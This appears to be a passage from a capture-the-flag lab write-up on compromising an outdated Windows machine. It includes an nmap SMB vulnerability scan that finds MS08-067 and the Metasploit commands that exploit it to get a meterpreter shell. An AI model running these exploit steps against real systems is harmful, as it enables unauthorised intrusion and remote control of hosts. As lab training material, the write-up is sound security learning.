This was an outdated machine, so there was bound to be some vulnerabilities with the SMB service. We can run some nmap scripts to determine this:
$ sudo nmap --script smb-vuln* -p 445 10.129.85.242

| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)

| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.

We
Nmap done: 1 IP address (1 host up) scanned in 5.34 seconds
So this was vulnerable to MS08-067. We can use msfconsole to exploit this.
use exploit/windows/smb/ms08_067_netapi
set LHOST 10.10.14.13
set RHOSTS 10.129.85.242
exploit
This would give us a meterpreter shell.
For some reason, whoami does not work on the machine. We can use the whoami.exe binary that is within Kali at /usr/share/windows-resources/binaries and run it via SMB.
